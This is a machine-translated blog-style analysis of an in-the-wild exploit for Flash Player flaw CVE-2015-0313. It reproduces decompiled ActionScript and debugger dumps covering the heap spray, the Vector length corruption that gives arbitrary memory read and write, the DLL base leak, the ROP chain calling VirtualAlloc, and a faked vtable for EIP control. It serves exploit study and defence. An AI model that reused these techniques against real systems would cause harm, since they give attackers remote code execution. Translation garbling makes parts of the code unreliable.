CVE-2015-0313: New Flash Exploit Analysis

Source: Internet
Author: User
Tags cve

CVE-2015-0313: New Flash Exploit Analysis

Overview

Flash Player has recently reported many high-risk vulnerabilities, and The Flash program will usher in a wave of climax as it becomes increasingly popular.

Environment

Vulnerability: cve-2015-0313

System: Windows 7 + IE11 + flash player 16.0.0.296 (debug version, this version and earlier versions will trigger the vulnerability)

Summary: Exploit, ASLR, drop, EIP Control

Vulnerability causes

This vulnerability is the 0day that Trend Micro caught in the wild in February. We can see a rough analysis of this vulnerability here.

First, we will briefly analyze the cause of the vulnerability here, as mentioned in the previous trend blog. I will focus on how to exploit this vulnerability.

Worker:

Before analyzing vulnerabilities, we will first introduce the Worker in ActionScript 3.0. Simply put, the Worker is to run another SWF Program (not a bit like multithreading) in the main SWF you run ), therefore, a very important part here is that multiple workers share data, so ByteArray. the retriable attribute is used to realize the shared memory between workers. This attribute will share ByteArray data between workers. You can see more information here.

DomainMemory:

You should know that this attribute is used to specify the object for performing global memory operations in ApplicationDomain. domainMemory inherits from ByteArray.

Vulnerability cause:

This vulnerability occurs between worker and domainMemory. The vulnerability trigger process is as follows:

1) create a child worker in the master worker, and then share ByteArray data between workers.

2) set the shared ByteArray object to domainMemory in the master worker.

3) Use ByteArray. Clear in the child worker to Clear the shared ByteArray memory.

4) at this time, domainMemory can reference the shared memory area. This is because the sub-worker does not notify domainMemory to modify the shared reference when calling clear to clear the memory. This is where the bug is located.

I believe that the person with the heart can build the poc by himself. (For fear of Exploit technical details, we have previously analyzed the cause of vulnerability triggering. Next we will focus on how the sample uses the vulnerability. (This sample uses a lot of techniques to circumvent brute force attacks and increase the difficulty of analysis. If you don't talk about this here, you must be more concerned about how to use it)

Determine the attack environment:

Use the following code to obtain the Flash Player version:

Var _ loc7 _: String = Capabilities. version. toLowerCase ();

Exit directly if it is not a window.

var _loc6_:String = _loc7_.substr(0,4);if(_loc6_ != "win "){return 0;}

Then, judge the Flash Player version.
Var
_ Loc3 _: Boolean = this. var_13> = 130000259 & this. var_13 140000000 | this. var_13 = 150000246 | this. var_13> = 160000235;

In the above Code, 160000235 indicates the version 16.0.0.235. If _ loc3 _ Is flase, it exits.

Download URL:

This sample obtains the parameters passed by javascript to obtain the download URL.

_ Loc14 _ = root.loaderInfo.parameters.exe c;

After a series of transformations, the real URL will be written into the ByteArray layout memory after the encoding shellcode (in the form of a string:

Next, this exp begins to execute the most important step, and uses Vector. To control the memory layout by heap spray, similar code is as follows:

this.var_48 = new Vector.Object>(0x1020);_loc2_ = 0;while(_loc2_  this.aNmlxJ){loc16_ = new ByteArray();_loc16_.endian = "littleEndian";this.var_48[_loc2_] = _loc16_;_loc2_++;}


Then fill in each Vector element. The Exp is filled with ByteArray.

G_bt = new ByteArray (); g_bt.retriable = true; g_bt.endian = "littleEndian"; _ loc2 _ = 0; while (_ loc2 _ this. vecLength) {if (_ loc2 _! = 817); {_ loc16 _ = this. var_48 [_ loc2 _] as ByteArray; _ loc16 _. length = 0x2000; wIntInByteArr (_ loc16 _, 0 xcccccccc); write 0 xcccccccccc _ loc16 _ to ByteArray _. writeInt (0xbabefac0); write tag _ loc16 _. writeInt (0xbabefac1); _ loc16 _. writeInt (_ loc2 _); _ loc16 _. writeInt (0xbabefac3);} else {g_bt.length = 0x2000; wIntInByteArr (g_bt, 0x33333333); write 0x33333333} _ loc2 _ ++ ;}


As shown in the code above, this. var_48 [817] has not been assigned an instance. Instead, g_bt: ByteArray is assigned with a size of 0x2000 bytes.

At this time, we can look at the layout in the memory, but first let's take a look at the data structure of ByteArray in the memory.

In this example, the address of the g_bt object instance is ab22581, but this is not the real memory address, because AVM uses atom as the basic type during data operations, the last 3 bits of the address lists the Object Pointer information.

Untagged       = 000 (0)    Object        = 001 (1)    String         = 010 (2)    Namespace    = 011 (3)    "undefined"   = 100 (4)    Boolean      = 101 (5)    Integer       = 110 (6)    Number       = 111 (7)
Therefore, we need to get the real Object address through the "Object address & 0xfffffff8" operation.

The actual address of the g_bt object instance is ab22580. Now let's look at the memory structure.
0:027> dd ab225800ab22580  65b6af90 00000004 08c913f8 0ab389400ab22590  0ab2259c 00000040 00000000 65b6af400ab225a0  65b6af4c 65b6af3c 65bbacc8 08ea50800ab225b0  08cd9000 0ab1bb38 00000000 000000000ab225c0  65b89164 0ab21500 00000001 000000000ab225d0  65b6af34 00000003 00000001 00000000

It may be difficult to reverse the entire structure, but we don't need to care about this much, but we only need to care about the most important part.

There is a pointer at the offset 0x44. Let's take a look at the memory area pointed by the pointer.
0: 027> dd 0ab21500
0ab21500 65b6a4c4 00000001 0be97000 00002000
0ab21510 00002000 00000000 65b5e5b8 0c412000

In fact, the pointer at the offset 0x8 points to the actual location of the data stored in the ByteArray object.
0:027> dd 0be970000be97000  33333333 33333333 33333333 333333330be97010  33333333 33333333 33333333 333333330be97020  33333333 33333333 33333333 333333330be97030  33333333 33333333 33333333 333333330be97040  33333333 33333333 33333333 333333330be97050  33333333 33333333 33333333 333333330be97060  33333333 33333333 33333333 333333330be97070  33333333 33333333 33333333 33333333

Do you still remember to write g_bt 0x33333333 in the previous code?

Now we finally find the actual address of the data content in g_bt. We know that the length of g_bt is 0x2000. Now let's take a look at the content near g_bt.
0:027> dd 0be97000 +2000-200be98fe0  33333333 33333333 33333333 333333330be98ff0  33333333 33333333 33333333 333333330be99000  babefac0 babefac1 00000332 babefac30be99010  cccccccc cccccccc cccccccc cccccccc0be99020  cccccccc cccccccc cccccccc cccccccc0be99030  cccccccc cccccccc cccccccc cccccccc0be99040  cccccccc cccccccc cccccccc cccccccc0be99050  cccccccc cccccccc cccccccc cccccccc

This is the memory near g_bt + 0x2000. It is very familiar to see the data in the red part. Right, this is the data written in other ByteArray, where 0x332 (818) is the serial number of each ByteArray in the Vector.

Let's take a look at the content of other nearby addresses:
0:027> dd 0be97000 -2000-200be94fe0  cccccccc cccccccc cccccccc cccccccc0be94ff0  cccccccc cccccccc cccccccc cccccccc0be95000  babefac0 babefac1 00000330 babefac30be95010  cccccccc cccccccc cccccccc cccccccc0be95020  cccccccc cccccccc cccccccc cccccccc0be95030  cccccccc cccccccc cccccccc cccccccc0be95040  cccccccc cccccccc cccccccc cccccccc0be95050  cccccccc cccccccc cccccccc cccccccc
 
Similar to the preceding content, it is also the data that was previously written into ByteArray, and the serial number is 0x330 (816 ). Of course, the same is true if you continue to look forward or backward.

Therefore, we can know the general situation of the memory layout as follows:


OK. Then Exp applies for a large amount of memory in the sub-worker.
_loc4_ = new Vector.Object>(0x1020);_loc2_ = 0;while(_loc2_  0x1020){   _loc6_ = new ByteArray();   _loc6_.endian = "littleEndian";   _loc6_.length = 0x2000;   wIntInByteArr(_loc6_,0x35555555);   _loc4_[_loc2_] = _loc6_;   _loc2_++;}

Exp then clears the shared ByteArray data content in the child worker, and CALLS ByteArray. Clear ()
_ Loc3 _ = Worker. current. getSharedProperty ("PLusbbEE ");
_ Loc3 _. clear ();

At this time, the data area pointed to by g_bt will be cleared, and the length of g_bt will be set to zero, but domainMemory still holds a reference to the memory area.

The reason why the stack is sprayed again before calling Clear () is to ensure that the code can be successfully occupied.
hIR = new ByteArray();hIR.length = 0x2000;wIntInByteArr(hIR, 0xbbbbbbbb);hIR.shareable = true;Worker.current.setSharedProperty("ooYYuaYhx",hIR);

At this time, the memory layout will change.


And share hIR among workers.

Next, Clear the data of the element (ByteArray) with an odd ordinal number in the Vector in the master worker, and call ByteArray. Clear () again to Clear the shared ByteArray data.
while(_loc5_  0x1020){   if(_loc5_ == 817)      {      this.dataAfterClear.clear();    }   else if(_loc5_ % 2)   {      _loc6_ = this.var_48[_loc5_] as ByteArray;      this.wIntInByteArr(_loc6_,this.num_0xdddddddd);      _loc6_.clear();                 }   _loc5_++;}

At this time, the memory layout will change a little bit.



Then the master worker allocates a large number of Vector placeholder values.
this.objVec = new Vector.Object>(11540);_loc4_ = 0;while(_loc4_  11540){   this.objVec[_loc4_] = new Vector.uint>();   _loc4_++;}_loc4_ = 0;while(_loc4_  11540){   _loc3_ = this.objVec[_loc4_] as Vector.uint>;   _loc3_.length = 114;   _loc3_[0] = this.num_0xfeedbabe;   _loc3_[1] = _loc4_;   _loc3_[2] = this.num_0xbabeface;   _loc4_++;}

First, let's look at the memory before the placeholder (green area in the layout diagram)
0:027> dd 0c3380000c338000  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb0c338010  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb0c338020  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb0c338030  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb0c338040  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb0c338050  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb0c338060  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb0c338070  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb

Then let's take a look at the situation after the placeholder is successful.
0:006> dd 0c3380000c338000  00000000 00000000 0c339000 0c3350000c338010  01f80008 00000000 00000000 67a85e9c0c338020  00000072 085f9000 feedbabe 000015300c338030  babeface 00000000 00000000 000000000c338040  00000000 00000000 00000000 000000000c338050  00000000 00000000 00000000 000000000c338060  00000000 00000000 00000000 000000000c338070  00000000 00000000 00000000 00000000Important data 1

Yes, the first 0x20 byte is the page header, and 0x0c338020 is the data area of the Vector object for placeholder use, which is determined by the allocation mechanism of AVM's memory allocation manager, the memory block size of 0x2000 bytes is divided into memory blocks of 0x1f8 (0x1f8 = 72*4 + 8 + 0x28 (filled with 0xbbbbbbbb) to store the Vector. For details, see Li haifei paper: smashing_the_heap_with_vector_Li.

The Blue 4-byte data is the length of the Vector object, and the offset 0x8 is the starting address of the Vector Data. Do you still remember the data written earlier.

The purple 8-byte data is very important and will be mentioned later.

To confirm whether it is correct, you can check it first.
Data Structure of Vector in memory
0:008> dd ba2a6500ba2a650  6777b1c0 20000006 0ad4e1f0 0ad4b6280ba2a660  0ad19150 00000000 00000001 0c3380200ba2a670  00000000 00000000 6777b1c0 000000040ba2a680  0ad4e1f0 0ad4b628 0ad19150 00000000
 
The data at the offset 0x1c is the data area of the Vector.

Now let's take a look at the memory layout after the placeholder is successful.


One piece can be verified (the memory address changes from 0c338000 to 0c0bc000 ):


Image 1

Let's look at the memory at 0x4000:


Image 2

The above two figures verify the results of the memory layout.

Damage memory:

The domainMemory still stores references to the placeholder data. You can directly modify the length of the Vector.
Vector can be read and written across borders. The effect is as follows:
0:002> dd 0c3380000c338000  00000000 00000000 0c339000 0c3350000c338010  01f80008 00000000 00000000 67a85e9c0c338020  40000000 085f9000 feedbabe 000015300c338030  babeface 00000000 00000000 000000000c338040  00000000 00000000 00000000 000000000c338050  00000000 00000000 00000000 000000000c338060  00000000 00000000 00000000 000000000c338070  00000000 00000000 00000000 00000000

The Code is as follows:
while(_loc4_  _loc2_){   _loc5_ = this.li32(_loc4_);   if(_loc5_ == 114)   {      _loc5_ = this.li32(_loc4_ + 8);      if(_loc5_ == 0xfeedbabe)      {         this.var_24 = false;         this.si32(_loc4_, 0x40000000);         return true;      }   }   _loc4_ = _loc4_ + 4;}

There is still x86 in the sample, and the x64 judgment will not be described here.

Cross-border read/write:

Of course, to truly achieve cross-border read/write, you also need to find the corresponding Vector [index] element, the Code is as follows:
Var _ loc4 _: Vector. uint> = null; var _ loc3 _: * = 0; while (_ loc3 _ 11540) {_ loc4 _ = this. objVec [_ loc3 _] as Vector. uint>; if (! (_ Loc4 _. length = 114); length is changed to 0x40000000 {this. corropUintVecInd = _ loc3 _; the length of the modified Vectoruint> index of the object this. corropUintVec = _ loc4 _; Vectoruint> Object return true;} _ loc3 _ ++ ;}

With the code above, you can find the modified length Vector object (this. corropUintVec). In this way, you can use corropUintVec [index] to implement cross-border read/write. The index can be greater than the original length 0x72.

Read/write from any address:

First, this Exp is found by searching the mark data written to the Vector object.
Next page + Vector (Image 2), Code: while (_ loc3 _ loc7 _) {_ loc8 _ = this. corropUintVec [_ loc3 _]; if (this. corropUintVec [_ loc3 _] = this. num_0xfeedbabe); Mark 1 {_ loc8 _ = this. corropUintVec [_ loc3 _ + 2]; if (this. corropUintVec [_ loc3 _ + 2] = this. num_0xbabeface); Mark 2 {this. nextVecUint = this. corropUintVec [_ loc3 _ + 1]; _ loc2 _ = _ loc3 _; break; }}_ loc3 _ ++;} return _ loc2 _ * 4;
The variable marked as red records the Next

Returns the offset of the Next Vector relative to the modified length Vector (this. corropUintVec ).

Then you can use the following code to obtain the data in the red box in Figure 3. Remember the two important fields marked in purple in important data 1, this is one of them (the specific address value has changed)

Image 3

The Code is as follows:
Var _ loc13 _: uint = (NextUintVecOff-8)/4;
This. UintVecAboutObj = this. corropUintVec [_ loc13 _ + 1];

Why is this field important? I will continue to talk about it later.

Then, by increasing the length of the found Vector (sequence number: 0x14e0), release the first 0x1f8 sub-block in the memory block, this is the address where AVM writes the memory block to the page header.

The Code is as follows:
This. var_62 = this. objVec [this. NextVecUint] as Vector. uint>;

This. var_62.length = this. num_114 * 2; the memory block will be re-allocated and released due to the length being modified.
 
The memory diagram is as follows:

Image 4

As mentioned above, the memory has been released and its length has been cleared. The data of the Vector in the memory has been copied to the newly applied memory. The implementation code in Flash Player is as follows:

Image 5

The following code is used to clear

The address of the Vector data block:
NextPageInd = (0x4000-0x28)/4;
This. NextUintVecAdd = this. corropUintVec [NextPageInd];

Then the starting position of the data field of the modified Vector is obtained:
This. corUintVecDataAdd = this. NextUintVecAdd-0x4000 + 8;

At this time, any address is read and written. Similar code is as follows:
private final function get4Bytes(address:uint): uint{   var ind:uint = 0;   ind = (address - this.corUintVecDataAdd) / 4;                     ;x86   return this.corropUintVec[ind];}

Leakage base address:

Let's review the two important fields mentioned above.
0:006> dd 0c3380000c338000  00000000 00000000 0c339000 0c3350000c338010  01f80008 00000000 00000000 67a85e9c0c338020  00000072 085f9000 feedbabe 000015300c338030  babeface 00000000 00000000 000000000c338040  00000000 00000000 00000000 000000000c338050  00000000 00000000 00000000 000000000c338060  00000000 00000000 00000000 000000000c338070  00000000 00000000 00000000 00000000 Important data 1
This is the data memory of the Next page mentioned above. It is the first important field at 0x1 offset. You must have guessed that the data can be used to leak the base address of the flash player module.

The data in the previous operation Next page is shown in figure 4, but the expected data is still stored at the offset 0x1c.
Ind = (0x4000-c)/4;
This. leakData = this. corropUintVec [ind];

The above code can be obtained. The next step is to use this field to leak the base address. The Exp method to leak the base address is very simple and crude. Let's look at the Code:

The Code is as follows:
Var _ loc1 _: uint = this. leakData & 0xfffff000; while (true) {_ loc8 _ = this. get4Bytes (_ loc1 _); if (_ loc8 _! = 0x905a4d); dll pe Header, MZ {_ loc1 _ = _ loc1 _-0x1000; // get flash DLL baseaddress continue;} break ;}
Yes, it's so simple, there's no fancy skills, you're not mistaken, it's so rude (haoxihuan )!!!

Next, we can dynamically construct the ROP, which is also very simple.
0:005> dps 0c0bc000    +30000c0bf000  66a7b7e2 Flash32_16_0_0_296+0xb7e20c0bf004  66be1c86 Flash32_16_0_0_296+0x171c860c0bf008  66a90ace Flash32_16_0_0_296+0x20ace0c0bf00c  66c62c07 Flash32_16_0_0_296+0x1f2c070c0bf010  66dc4f67 Flash32_16_0_0_296!DllUnregisterServer+0x1547de0c0bf014  66c24f3c Flash32_16_0_0_296+0x1b4f3c0c0bf018  76aec4ea kernel32!VirtualAllocStub0c0bf01c  0c0bf0300c0bf020  0c0bf0000c0bf024  000020000c0bf028  000010000c0bf02c  00000040

EIP control:

This Exp control EIP is still slightly different. Do you still remember the two important fields marked with purple in the previous section? Another one is useless. Yes, it is.

This field actually points to an object. this object will be changed when the length of the Vector is modified. So Exp spoofs this object and controls the EIP by modifying the corresponding flag and virtual table.
Var _ loc3 _: uint = 0x40000000-1;
This. corropUintVec [_ loc3 _] = this. fakeObjAdd;

The Vector is as follows:
0:005> dd 0c0bc0000c0bc000  00000000 00000000 0c0bd000 0c0b90000c0bc010  01f80008 00000000 00000000 67a85e9c0c0bc020  40000000 0c0bec00 feedbabe 000014d00c0bc030  babeface 00000000 00000000 000000000c0bc040  00000000 00000000 00000000 000000000c0bc050  00000000 00000000 00000000 000000000c0bc060  00000000 00000000 00000000 00000000
The field marked in red has been changed to a controllable memory area (ByteArray data area next to the page). If you want to ask why the index is 0x3fffffff, the code for operating the Vector is as follows:
0ab94a39 mov dword ptr [eax + ecx * 4 + 8], ebx

Here, eax points to the starting address of the Vector data area, and ecx represents the index

The forged object is as follows:
0:005> dd 0c0bc000 +2c000c0bec00  cccccccc 00010000 cccccccc cccccccc0c0bec10  cccccccc cccccccc cccccccc cccccccc0c0bec20  cccccccc cccccccc cccccccc cccccccc   …0c0bed70  cccccccc cccccccc cccccccc cccccccc0c0bed80  0c0bf000 00000001 cccccccc cccccccc0c0bed90  cccccccc cccccccc cccccccc cccccccc0c0beda0  cccccccc cccccccc cccccccc 000000000c0bedb0  cccccccc cccccccc cccccccc cccccccc0c0bedc0  cccccccc cccccccc cccccccc cccccccc0c0bedd0  cccccccc cccccccc cccccccc cccccccc0c0bede0  cccccccc 0c0bed80 cccccccc cccccccc

Data at 0x0c0bed80 points to drop. In this case, the following code is called to control the EIP:
This. corropUintVec. length = this. num_114 * 2;

Assembly code:
66aba247 mov eax, dword ptr [ecx]
66aba249 call dword ptr [eax + 4]

Ecx points to the written drop link address. Then, any code is executed!
END!

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.